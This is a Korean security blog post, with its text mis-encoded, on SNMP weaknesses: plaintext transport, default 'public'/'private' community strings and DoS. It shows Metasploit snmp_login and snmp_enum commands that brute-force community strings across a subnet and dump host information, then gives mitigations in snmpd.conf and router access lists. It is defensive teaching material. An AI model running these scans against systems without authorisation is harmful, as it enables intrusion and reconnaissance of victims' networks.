ํฐ์คํ ๋ฆฌ ๋ทฐ
๊ฐ์
Simple Network Management Protocol์ ์ฝ์๋ก ์ฝ๊ฒ ๋งํด ํ๋ ์ด์์ ๋คํธ์ํฌ๋ฅผ ๊ฐ๋ณ์ ์ผ๋ก ๋ฒ๊ฑฐ๋กญ๊ฒ ๊ด๋ฆฌํ์ง ์๊ณ ์ค์์ง์ค ๋ฐฉ์์ผ๋ก ํธํ๊ฒ ๊ด๋ฆฌํ๊ธฐ ์ํด ๊ฐ๋ฐ๋ ํ๋กํ ์ฝ์ ๋๋ค.
SNMP๋ UDP ๋ฐฉ์์ผ๋ก ์ ๋ณด๋ฅผ ์์งํ ๋์์ธ ํธ์คํธ(Agent)๋ 161๋ฒ PORT๋ฅผ ์ฌ์ฉํ๊ณ ๊ทธ๋ฌํ ์ ๋ณด๋ฅผ ์์งํด ๋ชจ๋ํฐ๋ง ๋ฐ ๊ด๋ฆฌ๋ฅผ ํ๋ ๊ด๋ฆฌ์๋ 162๋ฒ PORT ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
๋ฒ์ ํน์ง
SNMP v1 : ์ํธํ ๊ธฐ๋ฅ์ด ์ ํ ์์ด ๋ณด์์ ์ทจ์ฝ, Community String์ด๋ผ๋ ์ธ์ฆ์๋ง ์์กด
SNMP v2 : ๋ณด์์ธก๋ฉด์ ๊ณ ๋ คํ์ง๋ง ๋ณด์ ์์คํ ์ด ๋๋ฌด ๋ณต์กํ๋ค ํ๊ฐ๋์ด ์์ฉํ๊ฐ ๋์ง ๋ชปํจ
SNMP v2c : ๋ณด์ ๊ธฐ๋ฅ์ด ์ ๊ฑฐ๋์์ผ๋ฉฐ v2 ๋ณด๋จ v2c ๊ฐ ๋ ์ฌ์ฉํ, Community String ๋ฐฉ์์ ๊ทธ๋๋ก ์ฌ์ฉ
SNMP v3 : (DES)๋ผ๋ ๋์นญํค ์ํธํ ์๊ณ ๋ฆฌ์ฆ์ ์ง์ํ์ฌ ๋ณด์์ฑ์ ๋์์ง๋ง ํธํ์ฑ์ ๋ฌธ์
Community String ์ด๋
SNMP์์ ์ ๋ณด๋ฅผ ์ป์ ์ ์๋ ๊ถํ์ ๊ฐ์ง๊ณ ์๋์ง ์ธ์ฆํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ฉฐ ๋ฏธ๋ฆฌ ์ค์ ๋ ๋ฌธ์์ด์ ๊ฐ์ง๊ณ ์์ ์ ํจ์ค์๋์ฒ๋ผ ์ฌ์ฉํ๋ ๊ฒ๊ณผ ์ ์ฌ
public : read-only๋ก ๋์, ์ ๋ณด๋ฅผ ์ฝ๊ธฐ๋ง ๊ฐ๋ฅ(default)
private : read-write๋ก ๋์, ์ฝ๊ธฐ/์ฐ๊ธฐ ์ฆ config ํ์ผ์ ์์ ๋ ํ ์ ์์
์ด๋ค ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์๋
(1) UDP ํต์ ์ผ๋ก ์ธํ ๋ฎ์ ์ ๋ขฐ์ฑ๊ณผ ํ๋ฌธ ์ ์ก์ผ๋ก ์ ๋ณด ๋ ธ์ถ
(2) Community String์ default ๊ฐ์ผ๋ก ์ธํด ์์คํ ์ ์ฃผ์ ์ ๋ณด ๋ฐ ์ค์ ์ ํ์
(3) ์ทจ์ฝํ snmp ํ๋กํ ์ฝ์ ๋์์ผ๋ก DOS attack
nmap ์ค์บ๋์ ํตํด snmp ๊ตฌ๋ ์ค์ธ ๊ฒ์ ํ์ธํ์์ผ๋ metasploit์ msfconsole์ ํตํด Community String ๊ฐ์ด default ๊ฐ์ธ์ง ๊ฒ์ฆ์ ํ์ธํด๋ณผ ์ ์์ต๋๋ค.
<!-- Command ์
๋ ฅ -->
msfconsole
msf5 > use auxiliary/scanner/snmp/snmp_login
msf5 auxiliary(scanner/snmp/snmp_login) > set RHOSTS 192.168.0.0-192.168.0.255
RHOSTS => 192.168.0.0-192.168.0.255 --> ์ ์ฒด๋์ญ ์ค์บ
msf5 auxiliary(scanner/snmp/snmp_login) > exploit
์ ์ฒด ๋์ญ์ ์ค์บํ์ฌ ์ฌ๋ฌ ๋์์ ์ค์บํ ์ ์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก 192.168.0.131์ public์ private ๋ก๊ทธ์ธ์ด ๋ชจ๋ ์ฑ๊ณตํ์ต๋๋ค.
msfconsole
msf5 > use auxiliary/scanner/snmp/snmp_enum
msf5 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.0.131
RHOSTS => 192.168.0.131
msf5 auxiliary(scanner/snmp/snmp_enum) > run
[*] System information
[*] Network information:
[*] Network interfaces:
[*] Network IP:
[*] Routing information:
[*] TCP connections and listening ports:
[*] Listening UDP ports:
[*] Storage information:
[*] Device information:
[*] Processes:
๋ฑ ํ์ธ ๊ฐ๋ฅ
snmp_enum ๋ชจ๋์ ํตํด snmp๋ฅผ ์ฌ์ฉํ๋ ์๋น์ค์ ๋ํ ์์ธํ ์ ๋ณด๋ฅผ ์ด๊ฑฐํ๋๋ก ์๋ํ ์ ์์ต๋๋ค.
ํธ์คํธ ์ด๋ฆ, ๋คํธ์ํฌ ์ ๋ณด, ๊ฐ๋ ์ค์ธ ํ๋ก์ธ์ค, ๋ผ์ฐํ ์ ๋ณด ๋ฑ ๋ค์ํ ๊ณ ๊ธ ์ ๋ณด๊ฐ ์ถ๋ ฅ๋๋ฉฐ ์ด์ค์์ ๋ ธ์ถ๋์ง ๋ง์์ผ ํ ๋ฏผ๊ฐ์ ๋ณด๊ฐ ํฌํจ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
๊ณต๊ฒฉ ํ ๋ฐ์๋ ํจํท์ ํ์ธํ์ฌ ๋ด๋ถ๋ฅผ ํ์ธํด ๋ณด๋ฉด
get-request๋ฅผ ํตํด ๋ฌด์์๋ก ์ ์ ์๋๋ฅผ ํ๊ณ ์์ผ๋ฉฐ get-response์ ์๋ต ํจํท์ ํ์ธํด๋ณด๋ฉด ๋์ ์์คํ ์์ SNMP์ Commnunity String ๊ฐ์ ๊ธฐ๋ณธ private / privacy๋ฅผ ์ฌ์ฉํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
snmp ์๋น์ค๋ฅผ ๋์์ผ๋ก DOS ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค. ํ๋์ ์๋ฒ๋ก ๋์์ ์๋น์ค๋ฅผ ๋ฌด๋ ฅํ์ํค๊ธฐ์๋ ์ฝ์ง ์์ง๋ง ์ฌ๋ฌ ์ข๋น PC๋ฅผ ํจ๊ป ๋ฌถ์ด ์ ์กํ๋ค๋ฉด ์์คํ ์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ๊ฐ๋ฅ์ฑ์ ๋์ฑ ๋์์ง๋๋ค.
ํฐ ํ๊ฒฉ์ ์ค์ ์์ง๋ง ๋์์ ๋คํธ์ํฌ ํธ๋ํฝ ์ํ๋ฅผ ํ์ธํด๋ณด๋ฉด ๊ธ๊ฒฉํ๊ฒ ์์นํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
๋์ ๋ฐฉ์
SNMP ์๋น์ค๋ฅผ ์ฌ์ฉํ์ง ์๋ค๋ฉด ๋นํ์ฑํ์์ผ๋๋ ๊ฒ์ด ์ ์ผ ์ข์ผ๋ฉฐ ๋ถ๊ฐํผํ๊ฒ ์ฌ์ฉํด์ผ ๋๋ค๋ฉด Community String ๊ฐ์ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ณ๊ฒฝํด์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
๋ณ๊ฒฝํ์๋ค ํ๋๋ผ๋ Community String ๊ฐ์ ์ฐพ์๋ด๊ธฐ ์ํด Brute Force ๋ Dictionary Attack ๊ฐ์ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ์ ์๋ํ ๊ฐ๋ฅ์ฑ์ด ์๊ธฐ์ ์ฌ์ ์ ์ ๊ทผ์ ์ด๋ฅผ ๊ฑธ์ด๋์ด ํ์ํ ์ฌ์ฉ์๋ง ์ ๊ทผํ ์ ์๋๋ก ํด์ผ ํฉ๋๋ค.
Community String ๊ฐ ๋ณ๊ฒฝ
<!--Community String ๊ฐ ๋ณ๊ฒฝ --> /etc/snmp/snmpd.conf-->
#sec.name source community
#com2sec paranoid default public
com2sec readonly default public --> ์์ ๊ฐ ์ผ๋ก ๋ณ๊ฒฝ
com2sec readwrite default private --> ์์ ๊ฐ ์ผ๋ก ๋ณ๊ฒฝ
์ ๊ทผ์ ์ด ์ ์ฑ ์ค์
<!--๋ผ์ฐํฐ ๋ ์ค์์น๋ฅผ ํตํด ์ ๊ทผ์ ์ด ์ ์ฑ
์ ์ค์ -->
router# conf t
router# access-list 88 permit 100.183.121.0 0.0.0.255
router# access-list 88 permit 100.183.235.0 0.0.0.255
router# access-list 88 deny any
'WEB' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
robots.txt ์ ๋ณด ๋ ธ์ถ ์ทจ์ฝ์ (0) | 2020.10.24 |
---|---|
ShellShock(CVE-2014-6271) ์ทจ์ฝ์ (0) | 2020.10.23 |
SSL Strip ์ทจ์ฝ์ (0) | 2020.10.21 |
๋ก์ปฌ ๊ถํ ์์น ์ทจ์ฝ์ (udev) (0) | 2020.10.20 |
XST(Cross Site Tracing) ์ทจ์ฝ์ (0) | 2020.10.19 |